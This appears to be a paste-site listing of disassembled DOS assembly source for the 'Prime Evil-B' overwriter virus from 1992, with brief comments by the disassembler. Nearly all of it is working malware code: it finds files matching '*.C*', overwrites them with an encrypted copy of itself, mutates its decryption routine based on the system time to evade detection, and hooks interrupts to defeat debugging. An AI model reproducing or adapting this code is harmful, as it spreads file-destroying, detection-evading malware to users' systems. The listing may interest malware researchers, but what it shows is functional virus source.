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Assembly Source File | 1992-11-21 | 39.9 KB | 1,168 lines

comment % =============================================================================== Prime Evil-B Overwriter "Virus" Source Disassembled by Cruel Entity of The Funky Pack of CyberPunks Notes: Interresting programming style... :) =============================================================================== % id equ 0DB33h dta_filename equ 9Eh seg_a segment byte public assume cs:seg_a, ds:seg_a org 100h prime proc far vstart equ $ start: xor bx,bx ; Zero register nop nop nop nop call decrypt+1 ; decrypt nop nop nop db 0ebh,46h ;jump to crypt_beg prime endp decrypt proc near data db 00,53h,0bbh ; push bx push sp add [bx+si+9090h],dx ; where to decrypt nop mov cx,70eh ; # of bytes to decrypt nop nop nop push cx nop nop nop mov al,cs:data nop nop nop nop decrypt2: nop nop nop xor [bx],al nop nop inc bx nop nop loop decrypt2 pop cx pop bx nop nop nop nop inc bx dec bx jz return nop nop nop nop mov ah,40h xchg si,dx nop nop int 21h xor bx,bx nop nop nop jmp decrypt+1 return: ret nop db 0e9h,80h,00h ; used to fuck debug decrypt endp crypt_beg: fmask db '*.C*', 0 message db 'Prime Evil! ' db '(C) Spellbound, Line Noise 1992.',0dh,0ah db 'Coded in Stockholm, Sweden.', 0Dh, 0Ah db 'Please spell my name right!$' f_size db 0, 0 f_time dw 0 f_date dw 0 data_12 dw 0 m_seg dw 0 ;memory segment int_24h_entry proc far ; this replaces int24 mov bl,3 iret ; interrupt return int_24h_entry endp f_handle dw 0 int_jmp db 0EAh, 5Bh,0E0h, 00h,0F0h int_1: mov dx,offset int_jmp fuck_sr_1: mov ax,0fe05h ; hook int 1 and int 3 jmp fuck_sr_1+1 ; (which fucks debug) add ax,0ebfeh sub ah,0b1h int 21h add al,02h int 21h mov al,0ffh out 21h,al mov ah,4ah mov bx,00c8h int 21h mov ah,48h mov bx,0096h int 21h mov cs:m_seg,ax ; allocate memory mov ax,2524h mov dx,offset int_24h_entry int 21h ; change int24h ; set intrpt vector al to ds:dx mov ah,2Ah ; get date int 21h cmp dl,1 ; is it day 1? jne not_day1 ; no it isn't mov ah,9 mov dx,offset message ; then display a message int 21h ; ; call pan_screen ; and pan the screen not_day1: mov dx,offset fmask mov ah,4Eh int 21h ; find 1st .COM file jnc found_com ; if no error, move on to ; found_com xor al,al ; no .COM file found out 21h,al ; exit to dos retn found_com: mov ax,4300h mov dx,dta_filename int 21h ; get file attribute push cx ; save attrib mov ax,4301h xor cx,cx int 21h ; set attrib to normal xor al,al ; out 21h,al ; port 21h, 8259-1 int comands mov dx,dta_filename mov word ptr cs:f_size,dx ; save file size mov ax,3D02h int 21h ; open file jnc opened_ok ; Jump if not error jmp find_next ; ; ; ^^^ interesting way of solving the error jumping... ; opened_ok: mov cs:f_handle,ax ; save file handle mov ax,5700h ; get file date/time mov bx,cs:f_handle int 21h jnc get_date_ok ; Jump if no error retn ; error when checking ; file time/date, exit to DOS get_date_ok: mov cs:f_time,cx ; save file time mov cs:f_date,dx ; and file date mov ah,3Fh ; read file to memory mov cx,70eh ; <- virus size push ds ; save data seg mov ds,cs:m_seg ; memory segment mov dx,0 int 21h push ax ; save bytes mov si,0 lodsw ; String [si] to ax xchg ax,si pop ax pop ds ; restore data seg mov word ptr cs:f_size,ax ; save file size cmp si,id ; already infected?? jne readed_ok ; nope... jmp already_inf ; readed_ok: push ds ; save data seg mov ds,cs:m_seg ; copy memory seg to ds mov es,cs:m_seg ; and es xor di,di ; xor si,si ; mov cx,70eh ; virus size mov ah,0F3h ; decryption value crypt_file: lodsb ; load a byte xor al,ah ; decrypt it stosb ; and save it loop crypt_file pop ds ; restore data seg mov ax,4200h ; move file ptr. xor cx,cx ; to beginning of file xor dx,dx int 21h mov ah,2Ch ; get system time int 21h xchg dh,al ; second to al xor ah,ah ; mul cl ; cl * al = ax ; (min * sec = ax) add al,dl ; add al,minutes add ax,70eh ; add ax,virulen add al,byte ptr cs:[10Eh] mov byte ptr cs:[10Eh],al call crypt ; decrypt the shit push cs ; cs to ds pop ds mov si,100h mov bx,cs:f_handle call decrypt+1 mov ax,4202h ; move file ptr to eof mov bx,cs:f_handle xor cx,cx xor dx,dx int 21h mov ah,40h ; write original file mov cx,word ptr cs:f_size push ds ; save data seg mov ds,cs:m_seg mov dx,0 int 21h pop ds ; restore data seg mov ax,5701h ; restore file time/date mov cx,cs:f_time mov dx,cs:f_date int 21h jc exit ; exit if error mov ah,3Eh ; close file int 21h pop cx mov dx,dta_filename ; restore attrib mov ax,4301h int 21h jmp short exit already_inf: mov ah,3Eh ; close file int 21h pop cx ; restore attrib mov dx,dta_filename mov ax,4301h int 21h find_next: mov ah,4Fh int 21h ; find next .COM file jc screw ; jump if error jmp found_com ; else, do next .COM file exit: retn ; exit to dos screw: int 1 ; single step retn pan_screen proc near ; this routine will scroll mov cs:data_12,0 ; the screen and reboot loc_15: mov bx,cs:data_12 ; lots of messing with the mov dx,3D4h ; video ports below... mov ah,bh ; mov al,0Ch ; out dx,ax ; port 3D4h, CGA/EGA reg index ; al = 0Ch, start address high mov ah,bl inc al out dx,ax ; port 3D4h, CGA/EGA reg index ; al = 0Dh, start address low mov dx,3DAh loc_16: in al,dx ; port 3DAh, CGA/EGA vid status test al,8 jnz loc_16 ; Jump if not zero loc_17: in al,dx ; port 3DAh, CGA/EGA vid status test al,8 jz loc_17 ; Jump if zero inc cs:data_12 cmp cs:data_12,50h jle loc_15 ; Jump if < or = mov cs:data_12,0 retn pan_screen endp crypt proc near push cs ; move cs to ds and es push cs pop ds pop es mov di,113h call get_time ; get system time cmp dh,0Ah ; if seconds = 0ah jb loc_22 ; Jump if below cmp dh,14h ; if seconds = 14h jb loc_21 ; Jump if below cmp dh,1Eh ; if seconds = 1eh jb loc_20 ; Jump if below cmp dh,28h ; if seconds = 28h jb loc_19 ; Jump if below cmp dh,32h ; if seconds = 32h jb loc_18 ; Jump if below call write_31h_0c7h ; The stuff below this call write_31h_0cfh ; is just for mutating ; some instructions in the jmp short loc_23 ; decryptioning routine. loc_18: ; call write_31h_0ddh call write_45h call write_4fh jmp short loc_23 loc_19: call write_31h_0f7h call write_31h_0edh jmp short loc_23 loc_20: call write_8dh_3eh_BL_BH jmp short loc_23 loc_21: call write_83h_0c7h_DL call write_47h jmp short loc_23 loc_22: call write_0ebh_0 call write_31h_0ffh loc_23: mov di,11Ah call get_time cmp dh,0Ah ; if seconds = 0ah jb loc_28 ; Jump if below cmp dh,14h ; if seconds = 14h jb loc_27 ; Jump if below cmp dh,1Eh ; if seconds = 1eh jb loc_26 ; Jump if below cmp dh,28h ; if seconds = 28h jb loc_25 ; Jump if below cmp dh,32h ; if seconds = 32h jb loc_24 ; Jump if below call write_31h_0cfh call write_45h jmp short loc_29 loc_24: call write_47h call write_47h call write_47h jmp short loc_29 loc_25: call write_31h_0c7h call write_45h jmp short loc_29 loc_26: call write_0ebh_0 call write_45h jmp short loc_29 loc_27: call write_47h call write_31h_0edh jmp short loc_29 loc_28: call write_83h_0c7h_DL loc_29: mov di,11Eh call get_time cmp dh,0Ah ; if seconds = 0ah jb loc_34 ; Jump if below cmp dh,14h ; if seconds = 14h jb loc_33 ; Jump if below cmp dh,1Eh ; if seconds = 1eh jb loc_32 ; Jump if below cmp dh,28h ; if seconds = 28h jb loc_31 ; Jump if below cmp dh,32h ; if seconds = 32h jb loc_30 ; Jump if below call write_31h_0d7h call write_45h jmp short loc_35 loc_30: call write_31h_0edh call write_45h jmp short loc_35 loc_31: call write_83h_0c7h_DL jmp short loc_35 loc_32: call write_0bfh_BL_0bfh jmp short loc_35 loc_33: call write_31h_0d5h call write_4fh jmp short loc_35 loc_34: call write_4fh call write_4fh call write_47h loc_35: mov di,125h call get_time cmp dh,0Ah ; if seconds = 0ah jb loc_40 ;Jump if below cmp dh,14h ; if seconds = 14h jb loc_39 ; Jump if below cmp dh,1Eh ; if seconds = 1eh jb loc_38 ; Jump if below cmp dh,28h ; if seconds = 28h jb loc_37 ; Jump if below cmp dh,32h ; if seconds = 32h jb loc_36 ; Jump if below call write_31h_0cfh call write_31h_0c7h jmp short loc_41 loc_36: call write_45h call write_31h_0ddh call write_4fh jmp short loc_41 loc_37: call write_31h_0ffh call write_31h_0c5h jmp short loc_41 loc_38: call write_83h_0c7h_DL call write_47h jmp short loc_41 loc_39: call write_83h_0c7h_DL call write_4fh jmp short loc_41 loc_40: call write_31h_0ffh call write_0ebh_0 loc_41: mov di,129h call get_time cmp dh,0Ah ; if seconds = 0ah jb loc_46 ;Jump if below cmp dh,14h ; if seconds = 14h jb loc_45 ; Jump if below cmp dh,1Eh ; if seconds = 1eh jb loc_44 ; Jump if below cmp dh,28h ; if seconds = 28h jb loc_43 ; Jump if below cmp dh,32h ; if seconds = 32h jb loc_42 ; Jump if below call write_45h call write_31h_0edh jmp short loc_47 loc_42: call write_9h_0ffh call write_4fh jmp short loc_47 loc_43: call write_21h_0efh call write_45h jmp short loc_47 loc_44: call write_29h_0efh call write_47h jmp short loc_47 loc_45: call write_0bfh_BL_0bfh jmp short loc_47 loc_46: call write_83h_0c7h_DL loc_47: mov di,12Eh call get_time cmp dh,0Ah ; if seconds = 0ah jb loc_52 ; Jump if below cmp dh,14h ; if seconds = 14h jb loc_51 ; Jump if below cmp dh,1Eh ; if seconds = 1eh jb loc_50 ; Jump if below cmp dh,28h ; if seconds = 28h jb loc_49 ; Jump if below cmp dh,32h ; if seconds = 32h jb loc_48 ; Jump if below call write_31h_0cfh jmp short loc_53 loc_48: call write_47h call write_4fh jmp short loc_53 loc_49: call write_31h_0c5h jmp short loc_53 loc_50: call write_29h_0f7h jmp short loc_53 loc_51: call write_83h_0c7h_DL jmp short loc_53 loc_52: call write_0ebh_0 loc_53: mov di,131h call get_time cmp dh,0Ah ; if seconds = 0ah jb loc_58 ;Jump if below cmp dh,14h ; if seconds = 14h jb loc_57 ; Jump if below cmp dh,1Eh ; if seconds = 1eh jb loc_56 ; Jump if below cmp dh,28h ; if seconds = 28h jb loc_55 ; Jump if below cmp dh,32h ; if seconds = 32h jb loc_54 ; Jump if below call write_29h_0cfh jmp short loc_59 loc_54: call write_47h call write_4fh jmp short loc_59 loc_55: call write_31h_0f5h jmp short loc_59 loc_56: call write_45h call write_4fh jmp short loc_59 loc_57: call write_9h_0efh jmp short loc_59 loc_58: call write_0ebh_0 call write_47h loc_59: mov di,137h call get_time cmp dh,0Ah ; if seconds = 0ah jb loc_64 ;Jump if below cmp dh,14h ; if seconds = 14h jb loc_63 ; Jump if below cmp dh,1Eh ; if seconds = 1eh jb loc_62 ; Jump if below cmp dh,28h ; if seconds = 28h jb loc_61 ; Jump if below cmp dh,32h ; if seconds = 32h jb loc_60 ; Jump if below call write_31h_0c7h call write_31h_0dfh jmp short loc_65 loc_60: call write_81h_0efh jmp short loc_65 loc_61: call write_9h_0ffh call write_21h_0efh jmp short loc_65 loc_62: call write_83h_0c7h_DL call write_47h jmp short loc_65 loc_63: call write_31h_0f7h call write_21h_0efh jmp short loc_65 loc_64: call write_0ebh_0 call write_0ebh_0 loc_65: mov di,13Fh call get_time cmp dh,0Ah ; if seconds = 0ah jb loc_70 ;Jump if below cmp dh,14h ; if seconds = 14h jb loc_69 ; Jump if below cmp dh,1Eh ; if seconds = 1eh jb loc_68 ; Jump if below cmp dh,28h ; if seconds = 28h jb loc_67 ; Jump if below cmp dh,32h ; if seconds = 32h jb loc_66 ; Jump if below call write_31h_0d7h call write_29h_0f7h jmp short loc_71 loc_66: call write_9h_0efh call write_47h call write_47h jmp short loc_71 loc_67: call write_31h_0f7h call write_31h_0edh jmp short loc_71 loc_68: call write_83h_0c7h_DL call write_4fh jmp short loc_71 loc_69: call write_31h_0ffh call write_31h_0ffh jmp short loc_71 loc_70: call write_31h_0f7h call write_0ebh_0 loc_71: mov di,147h call get_time cmp dh,0Ah ; if seconds = 0ah jb loc_76 ;Jump if below cmp dh,14h ; if seconds = 14h jb loc_75 ; Jump if below cmp dh,1Eh ; if seconds = 1eh jb loc_74 ; Jump if below cmp dh,28h ; if seconds = 28h jb loc_73 ; Jump if below cmp dh,32h ; if seconds = 32h jb loc_72 ; Jump if below call write_31h_0c7h jmp short loc_77 loc_72: call write_4fh call write_4fh jmp short loc_77 loc_73: call write_21h_0efh jmp short loc_77 loc_74: call write_9h_0efh jmp short loc_77 loc_75: call write_45h call write_4dh jmp short loc_77 loc_76: call write_0ebh_0 loc_77: mov di,14Dh call get_time cmp dh,0Ah ; if seconds = 0ah jb loc_82 ;Jump if below cmp dh,14h ; if seconds = 14h jb loc_81 ; Jump if below cmp dh,1Eh ; if seconds = 1eh jb loc_80 ; Jump if below cmp dh,28h ; if seconds = 28h jb loc_79 ; Jump if below cmp dh,32h ; if seconds = 32h jb loc_78 ; Jump if below call write_31h_0f7h call write_47h jmp short loc_83 loc_78: call write_31h_0ddh call write_4fh jmp short loc_83 loc_79: call write_31h_0f7h call write_47h jmp short loc_83 loc_80: call write_83h_0c7h_DL jmp short loc_83 loc_81: call write_0bfh_BL_0bfh jmp short loc_83 loc_82: call write_47h call write_0ebh_0 loc_83: mov di,102h call get_time cmp dh,0Ah ; if seconds = 0ah jb loc_88 ;Jump if below cmp dh,14h ; if seconds = 14h jb loc_87 ; Jump if below cmp dh,1Eh ; if seconds = 1eh jb loc_86 ; Jump if below cmp dh,28h ; if seconds = 28h jb loc_85 ; Jump if below cmp dh,32h ; if seconds = 32h jb loc_84 ; Jump if below call write_31h_0c7h call write_31h_0cfh jmp short loc_89 loc_84: call write_31h_0ddh call write_45h call write_4fh jmp short loc_89 loc_85: call write_31h_0f7h call write_31h_0edh jmp short loc_89 loc_86: call write_8dh_3eh_BL_BH jmp short loc_89 loc_87: call write_83h_0c7h_DL call write_47h jmp short loc_89 loc_88: call write_0ebh_0 call write_31h_0ffh loc_89: mov di,109h call get_time cmp dh,0Ah ; if seconds = 0ah jb loc_94 ;Jump if below cmp dh,14h ; if seconds = 14h jb loc_93 ; Jump if below cmp dh,1Eh ; if seconds = 1eh jb loc_92 ; Jump if below cmp dh,28h ; if seconds = 28h jb loc_91 ; Jump if below cmp dh,32h ; if seconds = 32h jb loc_90 ; Jump if below call write_0ebh_0 call write_47h jmp short loc_ret_95 loc_90: call write_0ebh_0 call write_4fh jmp short loc_ret_95 loc_91: call write_47h call write_47h call write_45h jmp short loc_ret_95 loc_92: call write_83h_0c7h_DL jmp short loc_ret_95 loc_93: call write_47h call write_31h_0ffh jmp short loc_ret_95 loc_94: call write_0ebh_0 call write_47h loc_ret_95: retn crypt endp get_time proc near mov ah,2Ch ; get system time int 21h retn get_time endp write_31h_0c5h proc near mov al,31h stosb ; Store al to es:[di] mov al,0C5h stosb ; Store al to es:[di] retn write_31h_0c5h endp write_31h_0ddh proc near mov al,31h stosb ; Store al to es:[di] mov al,0DDh stosb ; Store al to es:[di] retn write_31h_0ddh endp mov al,31h stosb ; Store al to es:[di] mov al,0CDh stosb ; Store al to es:[di] retn write_31h_0d5h proc near mov al,31h ; '1' stosb ; Store al to es:[di] mov al,0D5h stosb ; Store al to es:[di] retn write_31h_0d5h endp write_31h_0f5h proc near mov al,31h ; '1' stosb ; Store al to es:[di] mov al,0F5h stosb ; Store al to es:[di] retn write_31h_0f5h endp mov al,31h ; '1' stosb ; Store al to es:[di] mov al,0FDh stosb ; Store al to es:[di] retn write_31h_0edh proc near mov al,31h ; '1' stosb ; Store al to es:[di] mov al,0EDh stosb ; Store al to es:[di] retn write_31h_0edh endp write_31h_0c7h proc near mov al,31h ; '1' stosb ; Store al to es:[di] mov al,0C7h stosb ; Store al to es:[di] retn write_31h_0c7h endp write_31h_0dfh proc near mov al,31h ; '1' stosb ; Store al to es:[di] mov al,0DFh stosb ; Store al to es:[di] retn write_31h_0dfh endp write_31h_0cfh proc near mov al,31h ; '1' stosb ; Store al to es:[di] mov al,0CFh stosb ; Store al to es:[di] retn write_31h_0cfh endp write_31h_0d7h proc near mov al,31h ; '1' stosb ; Store al to es:[di] mov al,0D7h stosb ; Store al to es:[di] retn write_31h_0d7h endp mov al,31h ; '1' stosb ; Store al to es:[di] mov al,0EFh stosb ; Store al to es:[di] retn write_31h_0f7h proc near mov al,31h stosb ; tore al to es:[di] mov al,0F7h stosb ; tore al to es:[di] retn write_31h_0f7h endp write_31h_0ffh proc near mov al,31h stosb ; tore al to es:[di] mov al,0FFh stosb ; tore al to es:[di] retn write_31h_0ffh endp write_45h proc near mov al,45h ; 'E' stosb ; Store al to es:[di] retn write_45h endp write_4dh proc near mov al,4Dh ; 'M' stosb ; Store al to es:[di] retn write_4dh endp write_47h proc near mov al,47h ; 'G' stosb ; Store al to es:[di] retn write_47h endp write_4fh proc near mov al,4Fh ; 'O' stosb ; Store al to es:[di] retn write_4fh endp write_0bfh_BL_0bfh proc near mov al,0BFh stosb ; Store al to es:[di] mov al,bl stosb ; Store al to es:[di] mov al,al stosb ; Store al to es:[di] retn write_0bfh_BL_0bfh endp write_8dh_3eh_BL_BH proc near mov al,8Dh stosb ; Store al to es:[di] mov al,3Eh ; '>' stosb ; Store al to es:[di] mov al,bl stosb ; Store al to es:[di] mov al,bh stosb ; Store al to es:[di] retn write_8dh_3eh_BL_BH endp write_83h_0c7h_DL proc near mov al,83h stosb ; Store al to es:[di] mov al,0C7h stosb ; Store al to es:[di] mov al,dl stosb ; Store al to es:[di] retn write_83h_0c7h_DL endp write_0ebh_0 proc near mov al,0EBh stosb ; Store al to es:[di] mov al,0 stosb ; Store al to es:[di] retn write_0ebh_0 endp write_9h_0ffh proc near mov al,9 stosb ; Store al to es:[di] mov al,0FFh stosb ; Store al to es:[di] retn write_9h_0ffh endp write_9h_0efh proc near mov al,9 stosb ; Store al to es:[di] mov al,0EFh stosb ; Store al to es:[di] retn write_9h_0efh endp write_21h_0efh proc near mov al,21h ; '!' stosb ; Store al to es:[di] mov al,0EFh stosb ; Store al to es:[di] retn write_21h_0efh endp write_81h_0efh proc near mov al,81h stosb ; Store al to es:[di] mov al,0EFh stosb ; Store al to es:[di] retn write_81h_0efh endp mov al,29h ; ')' stosb ; Store al to es:[di] mov al,0C7h stosb ; Store al to es:[di] retn write_29h_0cfh proc near mov al,29h ; ')' stosb ; Store al to es:[di] mov al,0CFh stosb ; Store al to es:[di] retn write_29h_0cfh endp mov al,29h ; ')' stosb ; Store al to es:[di] mov al,0D7h stosb ; Store al to es:[di] retn write_29h_0f7h proc near mov al,29h ; ')' stosb ; Store al to es:[di] mov al,0F7h stosb ; Store al to es:[di] retn write_29h_0f7h endp write_29h_0efh proc near mov al,29h ; ')' stosb ; Store al to es:[di] mov al,0EFh stosb ; Store al to es:[di] retn write_29h_0efh endp vend equ $ seg_a ends end start